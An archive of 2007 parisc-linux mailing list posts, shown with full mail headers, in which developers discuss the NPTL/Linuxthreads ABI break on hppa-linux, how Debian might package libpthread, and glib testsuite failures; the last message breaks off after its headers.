NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624305 22979 80.91.229.3 (22 Nov 2014 02:45:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:05 +0000 (UTC)
Cc: matthias.klose@ubuntu.com,
 debian-glibc@lists.debian.org,
 Aurelien Jarno <aurel32@debian.org>,
 Roland McGrath <roland@redhat.com>,
 libc-ports@sourceware.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 17:57:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx032) with SMTP; 19 Feb 2007 18:57:27 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7CDD7DBF4;
	Mon, 19 Feb 2007 10:57:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12398-08; Mon, 19 Feb 2007 10:57:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B0E9F7DBF5;
	Mon, 19 Feb 2007 10:57:21 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13D7E7DBF3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 10:57:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12398-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 10:57:15 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id E79A97DBF2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 10:57:14 -0700 (MST)
Original-Received: (qmail invoked by alias); 19 Feb 2007 17:57:13 -0000
User-Agent: KMail/1.9.6
In-Reply-To: <5b2e36650702190748j1d9306e6mdbc6dc8ed210c4ab@mail.gmail.com>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MNLqcScZf2I/p4icY2xomL9wdWxlcxYe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24375

On Monday 19 February 2007, Jeff Bailey wrote:
> On 19/02/07, Aurelien Jarno <aurelien@aurel32.net> wrote:
> > >> if the breakage is just in pthreads, i dont think the libc ABI needs to be
> > >> bumped, just the pthread one ?  libc provides look ahead stub functions for
> > >> pthreads, so it shouldnt be affected by the breakage you've mentioned with
> > >> static lock initializers ...
> > >>
> > >> libpthread.so.0 -> libpthread.so.1
> > >
> > > While it's definetly Ubuntu and Debian's problem, not upstream's,
> > > libpthread is bundled in the "libc6" package.  Bumping just the
> > > libpthread version will make packaging hard for those distros.  If
> > > there are other ABI breaking moves that need to be done that would
> > > cause a bump from libc6, doing them now would help sidestep the
> > > problem.
> >
> > Well I am thinking in splitting out libpthread.so.X from the libc6
> > package if the ABI breakage is confirmed. This is still a very
> > complicated transition, but I think far less packages are affected.
> 
> Well, the ABI breakage is confirmed.  I just remember people siting
> some other corner case problems with the ABI they wanted to change.
> Now would be a great time to change it all over if we need to do this.

Maybe relevant:

- [parisc-linux] [PATCH] fix up our compat semaphore operations
   http://lists.parisc-linux.org/pipermail/parisc-linux/2007-January/031125.html
- [parisc-linux] 64-bit long double support.
   http://lists.parisc-linux.org/pipermail/parisc-linux/2006-November/030629.html
- [parisc-linux] [patch] Remove magic constant from gas/tc-hppa.c   Jeff Bailey
   http://lists.parisc-linux.org/pipermail/parisc-linux/2006-October/030417.html
- [parisc-linux] Re: Looking at vfprintf.c and alloca.
   http://lists.parisc-linux.org/pipermail/parisc-linux/2006-July/029607.html 
   (make possible to get ELF64 later?)
- [parisc-linux] Close to mainline for hppa-linux TLS.
   http://lists.parisc-linux.org/pipermail/parisc-linux/2006-May/029171.html
- [parisc-linux] [RFC] using 64bit wide registers with 32bit kernel
   http://lists.parisc-linux.org/pipermail/parisc-linux/2006-May/029050.html
- Bug#364231: [parisc-linux] Re: Bug#364231: exception catching
   http://lists.parisc-linux.org/pipermail/parisc-linux/2006-May/028953.html
   (passing complex types)
- [parisc-linux] ELF ABI Documents
   http://lists.parisc-linux.org/pipermail/parisc-linux/2006-April/028803.html
   (ELF64 ABI?)
   
 
> > I am a bit busy right now, but I think we should put our transition
> > ideas (at least for Debian, and probably Ubuntu) on a wiki, for example
> > http://wiki.debian.org/HppaNptlTransition
> 
> Sounds good.  I've added doko to the cc: list.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NPTL for hppa-linux is not backwards compatible
	with Linuxthreads.
Date: Mon, 19 Feb 2007 13:20:40 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200702191820.l1JIKelf003875__6059.79243196106$1416624305$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702190825y26ea8d5eib876818d9cb89c5d@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624305 22981 80.91.229.3 (22 Nov 2014 02:45:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:05 +0000 (UTC)
Cc: matthias.klose@ubuntu.com,
 roland@redhat.com,
 libc-ports@sourceware.org,
 dave.anglin@nrc.ca,
 willy@debian.org,
 debian-glibc@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 18:21:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 19 Feb 2007 19:21:39 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3C797DC09;
	Mon, 19 Feb 2007 11:21:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12801-06; Mon, 19 Feb 2007 11:21:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE66C7DC01;
	Mon, 19 Feb 2007 11:21:34 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 77DF87DBFD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 11:21:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12575-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 11:21:28 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id A0D0B7DBFB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 11:21:28 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1JIKgsL003881;
	Mon, 19 Feb 2007 13:20:42 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1JIKelf003875;
	Mon, 19 Feb 2007 13:20:40 -0500 (EST)
In-Reply-To: <119aab440702190825y26ea8d5eib876818d9cb89c5d@mail.gmail.com>
	from "Carlos O'Donell" at Feb 19, 2007 11:25:11 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: htPhcCtGbmw74a2HZzdLV/NHUzc4ctGy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24376

> Do you know of any other ABI breaks that could be coordinated with
> this transition?

No.  The last break was GCC 4.1.0 where the calling convention
for passing complex values was corrected.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Mon, 19 Feb 2007 13:21:12 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20070219182112.GA32148__9642.85473241962$1416624306$gmane$org@athena.road.mcmartin.ca>
References: <119aab440702190834p36f92f95ue4ded14fa5a25a5@mail.gmail.com>
	<200702191656.l1JGuVkq018705@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624306 22986 80.91.229.3 (22 Nov 2014 02:45:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 18:21:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx101) with SMTP; 19 Feb 2007 19:21:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5C73D7DC02;
	Mon, 19 Feb 2007 11:21:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12953-10; Mon, 19 Feb 2007 11:21:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E60437DC0F;
	Mon, 19 Feb 2007 11:21:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BB927DC07
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 11:21:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12801-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 11:21:33 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 809C97DBFB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 11:21:33 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id CD02B5840B8;
	Mon, 19 Feb 2007 13:21:32 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 5B22C5840B7;
	Mon, 19 Feb 2007 13:21:32 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id CD3B1837DB;
	Mon, 19 Feb 2007 13:21:31 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 5383B3B06F; Mon, 19 Feb 2007 13:21:12 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200702191656.l1JGuVkq018705@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +tjqcQkiX1VpteuYY2Fyf4F3SDc4NIy6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24377

On Mon, Feb 19, 2007 at 11:56:30AM -0500, John David Anglin wrote:
> > What hardware are you using?
> 
> This is pa8800 (Mako) at 800 MHz.
> 

Keep in mind James pointed out that while he fixed the primary source of
corruption, there still might be second-order problems...

John, what's the fastest non-PA8800 machine you have right now? Would a dual
750MHz j6700 help you?

Cheers,
	Kyle M.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Glib testsuite under NPTL.
Date: Mon, 19 Feb 2007 20:15:29 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <20070219201529.4862ab70.gmsoft__34546.6173057959$1416624306$gmane$org@gentoo.org>
References: <119aab440702181557v18e47baya3e582298f7282ae@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624306 22991 80.91.229.3 (22 Nov 2014 02:45:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 19:14:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 19 Feb 2007 20:14:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27F3C7DBD7;
	Mon, 19 Feb 2007 12:14:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13389-06; Mon, 19 Feb 2007 12:14:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F242D7DBD8;
	Mon, 19 Feb 2007 12:14:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 425DD7DBD4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 12:14:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13389-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 12:14:14 -0700 (MST)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id 799B67DBD2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 12:14:14 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id 44AFCEB712; Mon, 19 Feb 2007 20:14:13 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id CFD6B2FD28; Mon, 19 Feb 2007 20:14:11 +0100 (CET)
Original-Received: from [2001:6f8:310:400:216:6fff:fe8b:a] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with smtp (Exim 4.62)
	(envelope-from <gmsoft@gentoo.org>)
	id 1HJDxi-000517-SY; Mon, 19 Feb 2007 20:14:10 +0100
In-Reply-To: <119aab440702181557v18e47baya3e582298f7282ae@mail.gmail.com>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: I87hcFoYbmw74a2HZzdLU65HUzc4chHU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24378



Hi Carlos,

For the NPTL thing, I only built glibc after upgrading glibc so there is no chance I tested the wrong one.

I tested with glib-2.12.7 with the same setup as usual.

The tests that fail here are the following :

PASS: queue-test
GThread-ERROR **: file gthread-posix.c: line 356 (): error 'Cannot allocate memory' during 'pthread_create'
aborting...
/bin/sh: line 4:  5771 Aborted                 srcdir=. LIBCHARSET_ALIAS_DIR=../glib/libcharset MALLOC_CHECK_=2 MALLOC_PERTURB_=$((${RANDOM:-256} % 256)) ${dir}$tst


PASS: thread-test
GThread-ERROR **: file gthread-posix.c: line 356 (): error 'Cannot allocate memory' during 'pthread_create'
aborting...
/bin/sh: line 4:  6173 Aborted                 srcdir=. LIBCHARSET_ALIAS_DIR=../glib/libcharset MALLOC_CHECK_=2 MALLOC_PERTURB_=$((${RANDOM:-256} % 256)) ${dir}$tst



Let me know if you need more info.

  Guy




On Sun, 18 Feb 2007 18:57:15 -0500
"Carlos O'Donell" <carlos@systemhalted.org> wrote:

> Guy,
> 
> I think you may have mentioned that Glib under NPTL was showing more
> failures than with Linuxthreads. I ran the tests myself with the
> following results.
> 
> Linuxthreads:
> check-lt.log:FAIL: closures
> check-lt.log:FAIL: keyfile-test
> check-lt.log:FAIL: run-collate-tests.sh
> 
> NPTL:
> check-nptl.log:FAIL: keyfile-test
> check-nptl.log:FAIL: run-collate-tests.sh
> 
> NPTL fixes the closures failure.
> 
> The Glib testsuite tests the installed libglib, so beware that you
> have rebuild the library, install the library, and *then* run the
> tests.
> 
> Cheers,
> Carlos.


-- 
Guy Martin
Gentoo Linux - HPPA port lead

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: call_init in libc6 2.3.6.ds1-11
Date: Mon, 19 Feb 2007 14:22:16 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200702191922.l1JJMGhm014372__36583.6083343767$1416624306$gmane$org@hiauly1.hia.nrc.ca>
References: <20070219182112.GA32148@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624306 22993 80.91.229.3 (22 Nov 2014 02:45:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2007 19:22:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 19 Feb 2007 20:22:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E16B7DC24;
	Mon, 19 Feb 2007 12:22:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13789-01; Mon, 19 Feb 2007 12:22:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 25CFD7DC1C;
	Mon, 19 Feb 2007 12:22:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A52B17DBDA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 12:22:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13483-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 12:22:20 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id CEC2D7DBD7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Feb 2007 12:22:19 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1JJMHlk014375;
	Mon, 19 Feb 2007 14:22:18 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1JJMGhm014372;
	Mon, 19 Feb 2007 14:22:16 -0500 (EST)
In-Reply-To: <20070219182112.GA32148@athena.road.mcmartin.ca> from "Kyle
	McMartin" at Feb 19, 2007 01:21:12 pm
